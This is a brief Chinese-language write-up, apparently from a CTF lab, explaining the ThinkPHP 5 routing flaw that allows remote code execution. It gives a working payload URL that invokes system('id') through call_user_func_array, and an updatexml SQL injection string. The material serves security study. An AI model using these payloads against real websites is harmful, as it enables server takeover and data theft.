漏洞原理
漏洞产生的原因在于:
路由控制不严谨,默认不开启强制路由,从而可以任意调用Thinkphp的类库
执行流程如下:
首先发起请求->开始路由检测->获取pathinfo信息->路由匹配->开始路由解析->获得模块、控制器、操作方法调度信息->开始路由调度->解析模块和类名->组建命名空间>查找并加载类->实例化控制器并调用操作方法->构建响应对象->响应输出->日志保存->程序运行结束
主要分成两种攻击方法
①Reuqest中的变量覆盖导致的RCE
②路由控制不严谨导致的RCE
漏洞复现
url/?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
之后有大佬们的总结
BUUCTF之[ThinkPHP]5-Rce WP及getShell的新姿势
In-sqlinjection-rce
/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1